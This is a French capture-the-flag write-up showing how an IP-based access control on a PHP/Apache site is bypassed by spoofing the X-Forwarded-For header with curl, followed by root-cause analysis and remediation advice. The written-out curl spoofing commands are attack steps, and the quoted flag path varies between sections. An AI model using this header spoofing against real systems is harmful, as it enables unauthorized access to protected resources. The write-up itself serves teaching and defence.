



Rapport de CTF — IP Spoofing / X-Forwarded-For

Auteur du Write-Up: 5yn0r

1. Informations générales

Nom du challenge : TechSolutions - IP Spoofing

Cible : 54.217.170.26

Service identifié : HTTP — port 80

Technologie : Apache 2.4.57 / PHP 8.3.4

Type de vulnérabilité : Contournement d'un contrôle d'accès basé sur l'adresse IP

Vecteur utilisé : X-Forwarded-For

2. Objectif

L'objectif du challenge était d'accéder à une ressource normalement réservée aux utilisateurs provenant du réseau interne de l'entreprise.

La page d'accueil indiquait notamment :

```
Your IP: 102.67.X.X
You are not connecting from company network (54.217.170.26).
Password is required of external access.
```

Le serveur distinguait donc les connexions provenant du réseau interne des connexions externes.

3. Reconnaissance

Une première requête HTTP a été effectuée avec `curl` :

```
curl -i -s http://54.217.170.26
```

Le serveur a répondu :

```
HTTP/1.1 200 OK
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.3.4
Content-Type: text/html; charset=UTF-8
```

Technologies identifiées

- **Web server** : Apache 2.4.57
- **Système probable** : Debian
- **Backend** : PHP 8.3.4
- **Application** : TechSolutions
- **Point d'entrée** : `index.php`
- **Méthode du formulaire** : POST
- **Paramètre** : `password`

4. Analyse de l'application

Le formulaire HTML était configuré ainsi :

```
<form action="index.php" method="POST">
```

avec un champ :

```
<input type="password" placeholder="Password" name="password" required>
```

La page affichait également l'adresse IP détectée par le serveur :

```
Your IP: 102.67.X.X
```

ainsi que l'adresse considérée comme appartenant au réseau interne :

54.217.170.26

5. Test de l'authentification

Plusieurs mots de passe simples ont été testés :

```
curl -i -X POST http://54.217.170.26/index.php \  
-d "password=test"
```

Puis :

```
curl -i -X POST http://54.217.170.26/index.php \  
-d "password=admin"
```

Dans les deux cas, le serveur renvoyait la même page de connexion.

Cela indiquait que la recherche directe d'un mot de passe n'était probablement pas la bonne approche.

6. Identification de la piste IP Spoofing

Le challenge reposait sur la notion de réseau interne.

La page indiquait :

```
You are not connecting from company network (54.217.170.26).  
Password is required of external access.
```

La piste consistait donc à déterminer comment l'application identifiait l'adresse IP du client.

Plusieurs headers HTTP permettant de transmettre une adresse IP ont été testés.

Par exemple :

```
curl -i http://54.217.170.26/ \  
-H "X-Forwarded-For: 54.217.170.26"
```

Le header `X-Forwarded-For` est particulièrement intéressant lorsqu'une application se trouve derrière un proxy ou un reverse proxy.

7. Exploitation

La requête suivante a été utilisée :

```
curl -i -s http://54.217.170.26/ \  
-H 'X-Forwarded-For: 54.217.170.26'
```

Contrairement aux requêtes précédentes, le serveur a répondu :

```
HTTP/1.1 302 Found  
Location: /2kf84qoqi6sviuXXoeu54p9b/flag.txt
```

Cette réponse confirme que l'application a considéré la requête comme provenant du réseau interne.

La redirection vers :

```
/2kf84qoqi6sviu7XXeu54p9b/flag.txt
```

a permis d'accéder à la ressource contenant le flag.

8. Preuve du contournement

Requête normale

```
curl -i -s http://54.217.170.26/
```

Résultat :

```
Your IP: 102.67.220.185  
You are not connecting from company network (54.217.170.26).  
Password is required of external access.
```

Requête avec IP usurpée

```
curl -i -s http://54.217.170.26/ \
-H 'X-Forwarded-For: 54.217.170.26'
```

Résultat :

```
HTTP/1.1 302 Found
Location: /2kf84qoqi6sviu7poeu54p9b/flag.txt
```

La différence de comportement démontre que l'application faisait confiance à la valeur fournie dans `X-Forwarded-For`.

9. Chaîne d'exploitation

1. Reconnaissance
↓
2. Identification du serveur Apache/PHP
↓
3. Analyse de la page de connexion
↓
4. Découverte du contrôle d'accès basé sur l'IP
↓
5. Identification de X-Forwarded-For comme vecteur potentiel
↓
6. Usurpation de l'IP interne
↓
7. L'application considère la requête comme interne
↓
8. Redirection vers /flag.txt
↓
9. Récupération du flag

10. Vulnérabilité identifiée

Confiance excessive dans `X-Forwarded-For`

L'application utilise un header HTTP contrôlable par le client pour déterminer son adresse IP.

Le problème vient du fait qu'un utilisateur externe peut envoyer lui-même :

```
X-Forwarded-For: 54.217.170.26
```

L'application interprète alors cette valeur comme l'adresse IP du client et considère la connexion comme provenant du réseau interne.

Il devient ainsi possible de contourner le contrôle d'accès sans connaître le mot de passe.

11. Cause racine

La cause principale est une mauvaise conception du mécanisme de confiance concernant les headers de proxy.

Un header tel que :

```
X-Forwarded-For
```

ne doit pas être considéré comme fiable lorsqu'il peut être directement contrôlé par le client.

L'adresse IP fournie par ce header peut être falsifiée si l'application n'est pas correctement configurée derrière un proxy de confiance.

12. Impact

Cette vulnérabilité permet à un utilisateur externe de contourner une restriction d'accès basée sur l'origine réseau.

Dans le contexte du challenge, cela permet :

- de contourner l'exigence de mot de passe pour les utilisateurs externes ;
- d'être considéré comme provenant du réseau interne ;
- d'accéder à une ressource normalement protégée ;
- de récupérer directement le flag.

Dans un environnement réel, un contrôle d'accès de ce type pourrait permettre l'accès non autorisé à des fonctionnalités internes ou à des données sensibles.

13. Remédiation

Pour corriger cette vulnérabilité :

1. Ne pas faire confiance directement à `X-Forwarded-For`

L'application ne doit pas considérer automatiquement cette valeur comme l'adresse IP réelle du client.

2. Configurer correctement le reverse proxy

Si l'application utilise réellement un reverse proxy, seuls les proxies explicitement approuvés doivent être autorisés à transmettre ou modifier les informations concernant l'adresse IP du client.

3. Utiliser une liste de proxies de confiance

L'application doit distinguer :

```
Client → Proxy de confiance → Application
```

d'une requête directe :

```
Client → Application
```

Un client externe ne doit pas pouvoir définir lui-même l'adresse IP utilisée pour une décision de sécurité.

4. Ne pas utiliser l'adresse IP comme unique mécanisme d'authentification

Une restriction réseau peut constituer une couche de sécurité supplémentaire, mais elle ne devrait pas remplacer une authentification robuste.

15. Flag

Le flag a été récupéré depuis :

```
/2kf84qqqi6sviu7XXeu54p9b/flag.txt
```

16. Conclusion

Ce challenge repose sur un mécanisme de contrôle d'accès basé sur l'adresse IP et sur une mauvaise confiance accordée au header HTTP `X-Forwarded-For`.

La reconnaissance a permis d'identifier l'application Apache/PHP et son mécanisme de connexion. Après avoir constaté que les tentatives de mot de passe n'avaient aucun effet, l'analyse s'est orientée vers le contrôle de l'adresse IP.

Vulnérabilité principale : contournement du contrôle d'accès par usurpation de l'adresse IP via `X-Forwarded-For`.